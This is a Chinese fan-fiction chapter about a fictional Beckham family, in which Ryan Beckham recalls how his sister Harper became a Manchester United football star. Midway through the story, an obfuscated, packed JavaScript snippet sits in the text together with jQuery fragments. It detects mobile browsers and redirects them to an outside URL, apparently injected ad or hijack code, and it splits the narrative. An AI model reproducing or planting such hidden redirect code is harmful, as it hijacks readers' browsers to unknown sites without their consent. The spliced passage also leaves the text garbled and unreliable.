教训完维托，莱恩准备离开时，忽然想起爱多提到的那句话——
“小七去巴萨。”
那瞬间，莱恩·贝克汉姆挺直的背脊终于弯了下去。
他疲惫地抹一把脸，颇有种“拔剑四顾心茫然”的揍棉花感，小七是女孩，教育方式和维托不太一样。
但莱恩又不能不管。
怎么无性恋还要考虑“子女”的教育问题啊！
莱恩真尼玛要崩溃了。
他坐在C罗家的沙发上，一边给小七打电话，一边回忆起妹妹这波澜壮阔的前半生。
……
前十五年的人生中，哈珀一直都是公主般的存在。
她从小娇生惯养，父亲在她出生那天泪洒当天，出门更是鲜少让她下过地，哈珀在每个家里都拥有属于自己的衣帽间。
可以说，她是一个幸福感十足的小富二代。
在所有人宠爱她的家人中，哈珀最喜欢、也最崇拜的，就是大哥莱恩·贝克汉姆，她其实说不清楚理由；也许是喜欢莱恩英俊的外表，也许是喜欢莱恩的能力——毕竟他是家里唯一踢球厉害的。
除此之外，哈珀最最最喜欢看大哥踢球。
每当莱恩在球场中央伸出手庆祝时、每当老特拉福德的数万人共同喊响他的名字时，哈珀的心脏总是在颤动。
这是什么感觉？
羡慕吗？
她不懂，于是去问家人。
父亲大卫·贝克汉姆听后摸摸她的头，吃醋说爸爸年轻时也很帅；
哈珀满脸嫌弃地离开。
母亲维多利亚听后倒是若有所思，鼓励她以后发展属于自己的事业；
哈珀认为妈妈说的对。
她去找小伙伴，朋友们却说——
“你哥哥太帅的话，以后你就找不到对象啦！你也许是以后想找个跟莱恩一样帅气的男朋友。”
这对吗？
哈珀选择把疑问藏在心中。
十五岁那年夏天，莱恩受伤了。
他抬着腿，腿上打着厚厚的绷带，哈珀听见妈妈偷偷哭了，她带着自己采的花，去看哥哥。
这时候，她问：“哥哥，受伤是不是很痛？”
“有点吧。”
莱恩冲她招招手，“你想踢球吗？”
哈珀咬住唇：“爸爸说……踢球对于女孩子来说太辛苦。”
“你信你爸的呢。”
莱恩却嗤笑一声，“足球不分国界、足球自然也不分男女。”
哈珀趴在床头，感受哥哥粗糙的大手摸过她的头顶，他循循善诱：“踢球要风吹日晒，你不能当淑女；踢球很凶险，你甚至容易因此落下残疾……当然，你也可能因为天赋不够，被逐出足球场。”
哈珀抬起头看他。
“但——”
莱恩微微一笑：“但当你站在球场中间，享受万人的顶礼膜拜时；当你为心爱的球队取得荣誉，和球迷心连心时；你会觉得，这一切都值得。”
*
哈珀于是开始踢球。
年复一年、日复一日。
每个人都认为她会怕苦，但她不怕；每个人都认为她会退缩，但她还是不怕。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127597|135484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她抱着足球去找哥哥，她说：“哥哥，教我圆月弯刀。既然你能踢，那我也能踢，我可以。”
莱恩当即点头：“当然，我亲爱的小骑士。”
……
她参加青训——这有点晚，但没关系，她哥哥14岁才参加，她也可以。
她参加曼联女足一线队。
她踢中场，她传球、射门。
她也受伤。
当膝盖痛到半夜难以入眠时，哈珀告诉自己，无论如何不能放弃。
“放弃就是死路一条。”
她说：“放弃就是死路一条。”
她夺冠。
她收获果实。
当英女足总决赛那天，她在所有人瞩目中踢出圆月弯刀时，她跪在地上，低头神情地亲吻着曼联队徽。
她听见父母的尖叫，听见哥哥的大笑。
她听见父亲语无伦次地大喊：“天哪！现在我的女儿踢球超棒！天呐！”
*
当她打扮精致出现在颁奖典礼时，没有人敢把她视为花瓶，她的荣誉时靠她自己身上一块块伤疤挣来的，当绝对权力握在手中时，莱恩说的那句话兑现了——
“全世界都会为你改写规则。”
她从阿莱西亚·普特拉斯手中接过金足奖时，她轻松一笑：“Well, I think girls may still want to be Beckham, because I’m here.”*
（我认为女孩们可能还是会想成为贝克汉姆的，因为我在这。）